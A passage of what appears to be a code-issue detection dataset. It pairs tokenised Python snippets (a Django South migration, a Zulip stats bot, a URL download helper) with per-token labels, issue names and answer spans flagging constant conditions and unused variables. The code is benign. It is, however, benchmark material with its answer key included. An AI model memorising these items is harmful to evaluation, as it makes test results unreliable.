"']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "badge", "r", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Badge", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "badge", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "title", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "unique_", "=_", "True_", ",_", "max", "\\u", "length_", "=_", "255_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "slug", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ")_", "(_", "unique_", "=_", "True_", ",_", "max", "\\u", "length_", "=_", "50_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "description", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "image", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "unique", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "creat", "or", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "created", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "modifi", "ed", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "badge", "r", "'_", ",_", "[_", "'", "Badge", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "unique", " ", "constraint", " ", "on", " ", "'", "Badge", "',", " ", "fields", " ", "['", "title", "',", " ", "'", "slug", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "unique_", "(_", "'", "badge", "r", "\\u", "badge", "'_", ",_", "[_", "'", "title", "'_", ",_", "'", "slug", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "M2", "M", " ", "table", " ", "for", " ", "field", " ", "prerequisite", "s", " ", "on", " ", "'", "Badge", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "badge", "\\u", "prerequisite", "s", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "models_", "._", "Auto", "Field_", "(_", "verbo", "se", "\\u", "name_", "=_", "'", "ID", "'_", ",_", "primary", "\\u", "key_", "=_", "True_", ",_", "auto", "\\u", "created_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "from", "\\u", "badge", "'_", ",_", "models_", "._", "Fore", "ign", "Key_", "(_", "orm_", "[_", "'", "badge", "r", ".", "badge", "'_", "]_", ",_", "null_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "to", "\\u", "badge", "'_", ",_", "models_", "._", "Fore", "ign", "Key_", "(_", "orm_", "[_", "'", "badge", "r", ".", "badge", "'_", "]_", ",_", "null_", "=_", "False_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "create", "\\u", "unique_", "(_", "'", "badge", "r", "\\u", "badge", "\\u", "prerequisite", "s", "'_", ",_", "[_", "'", "from", "\\u", "badge", "\\u", "id", "'_", ",_", "'", "to", "\\u", "badge", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Award", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "award", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "badge", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "badge", "r", ".", "Badge", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "image", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "user", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "award", "\\u", "user", "'_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "creat", "or", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "blank_", "=_", "True_", ",_", "relate", "d\\u", "name_", "=_", "'", "award", "\\u", "creat", "or", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "hidden", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "created", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "modifi", "ed", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "badge", "r", "'_", ",_", "[_", "'", "Award", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Progres", "s", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "progress", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "badge", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "badge", "r", ".", "Badge", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "user", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "progress", "\\u", "user", "'_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "percent", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Float", "Field", "'_", ")_", "(_", "default_", "=_", "0_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "counter", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Float", "Field", "'_", ")_", "(_", "default_", "=_", "0_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "note", "s", "'_", ",_", "self_", "._", "gf_", "(_", "'", "badge", "r", ".", "model", "s", ".", "JSO", "NF", "iel", "d", "'_", ")_", "(_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "created", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "modifi", "ed", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "badge", "r", "'_", ",_", "[_", "'", "Progres", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "unique", " ", "constraint", " ", "on", " ", "'", "Progres", "s", "',", " ", "fields", " ", "['", "badge", "',", " ", "'", "user", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "unique_", "(_", "'", "badge", "r", "\\u", "progress", "'_", ",_", "[_", "'", "badge", "\\u", "id", "'_", ",_", "'", "user", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remo", "ving", " ", "unique", " ", "constraint", " ", "on", " ", "'", "Progres", "s", "',", " ", "fields", " ", "['", "badge", "',", " ", "'", "user", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "unique_", "(_", "'", "badge", "r", "\\u", "progress", "'_", ",_", "[_", "'", "badge", "\\u", "id", "'_", ",_", "'", "user", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remo", "ving", " ", "unique", " ", "constraint", " ", "on", " ", "'", "Badge", "',", " ", "fields", " ", "['", "title", "',", " ", "'", "slug", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "unique_", "(_", "'", "badge", "r", "\\u", "badge", "'_", ",_", "[_", "'", "title", "'_", ",_", "'", "slug", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Badge", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "badge", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remo", "ving", " ", "M2", "M", " ", "table", " ", "for", " ", "field", " ", "prerequisite", "s", " ", "on", " ", "'", "Badge", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "badge", "\\u", "prerequisite", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Award", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "award", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Progres", "s", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "badge", "r", "\\u", "progress", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Constant in conditional expression or statement
zulip/zulip/bots/summarize_stream.py
[ { "content": "def generate_support_stats():\n client = zulip.Client()\n narrow = 'stream:support'\n count = 2000\n msgs = get_recent_messages(client, narrow, count)\n msgs_by_topic = collections.defaultdict(list) # type: Dict[str, List[Dict[str, Any]]]\n for msg in msgs:\n topic = msg['subject']\n msgs_by_topic[topic].append(msg)\n\n word_count = collections.defaultdict(int) # type: Dict[str, int]\n email_count = collections.defaultdict(int) # type: Dict[str, int]\n\n if False:\n for topic in msgs_by_topic:\n msgs = msgs_by_topic[topic]\n analyze_messages(msgs, word_count, email_count)\n\n if True:\n words = [w for w in word_count.keys() if word_count[w] >= 10 and len(w) >= 5]\n words = sorted(words, key=lambda w: word_count[w], reverse=True)\n for word in words:\n print(word, word_count[word])\n\n if False:\n emails = sorted(list(email_count.keys()),\n key=lambda w: email_count[w], reverse=True)\n for email in emails:\n print(email, email_count[email])", "metadata": "root.generate_support_stats", "header": "['module', '___EOS___']", "index": 48 } ]
[ { "span": "True:", "start_line": 66, "start_column": 7, "end_line": 66, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Constant_", "in_", "conditional", "_", "expression_", "or_", "statement_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "support", "\\u", "stats_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client_", "=_", "zu", "lip", "_", "._", "Client_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "narrow", "_", "=_", "'", "stream", ":", "support", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "2000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msgs_", "=_", "get", "\\u", "recent", "\\u", "messages_", "(_", "client_", ",_", "narrow", "_", ",_", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msgs", "\\u", "by", "\\u", "topic_", "=_", "collections_", "._", "defaultdict_", "(_", "list_", ")_", "#", " ", "type", ":", " ", "Dict", "[", "str", ",", " ", "List", "[", "Dict", "[", "str", ",", " ", "Any", "]]]", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "msg_", "in_", "msgs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topic_", "=_", "msg_", "[_", "'", "subject", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msgs", "\\u", "by", "\\u", "topic_", "[_", "topic_", "]_", "._", "append_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "word", "\\u", "count_", "=_", "collections_", "._", "defaultdict_", "(_", "int_", ")_", "#", " ", "type", ":", " ", "Dict", "[", "str", ",", " ", "int", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "count_", "=_", "collections_", "._", "defaultdict_", "(_", "int_", ")_", "#", " ", "type", ":", " ", "Dict", "[", "str", ",", " ", "int", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "topic_", "in_", "msgs", "\\u", "by", "\\u", "topic_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msgs_", "=_", "msgs", "\\u", "by", "\\u", "topic_", "[_", "topic_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "analyze", "\\u", "messages_", "(_", "msgs_", ",_", "word", "\\u", "count_", ",_", "email", "\\u", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words_", "=_", "[_", "w_", "for_", "w_", "in_", "word", "\\u", "count_", "._", "keys_", "(_", ")_", "if_", "word", "\\u", "count_", "[_", "w_", "]_", ">=_", "10_", "and_", "len_", "(_", "w_", ")_", ">=_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "sorted_", "(_", "words_", ",_", "key_", "=_", "lambda_", "w_", ":_", "word", "\\u", "count_", "[_", "w_", "]_", ",_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "word_", "in_", "words_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "word_", ",_", "word", "\\u", "count_", "[_", "word_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "emails_", "=_", "sorted_", "(_", "list_", "(_", "email", "\\u", "count_", "._", "keys_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key_", "=_", "lambda_", "w_", ":_", "email", "\\u", "count_", "[_", "w_", "]_", ",_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "email_", "in_", "emails_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "email_", ",_", "email", "\\u", "count_", "[_", "email_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
mgax/tinymail/python-builder/install_deps.py
[ { "content": "def download_to(url, folder_path):\n file_name = url.rsplit('/', 1)[1]\n download_path = path.join(folder_path, file_name)\n got_path, headers = urllib.urlretrieve(url, download_path)\n return file_name", "metadata": "root.download_to", "header": "['module', '___EOS___']", "index": 26 } ]
[ { "span": "got_path,", "start_line": 29, "start_column": 4, "end_line": 29, "end_column": 12 }, { "span": "headers ", "start_line": 29, "start_column": 14, "end_line": 29, "end_column": 21 } ]
[]
1
true
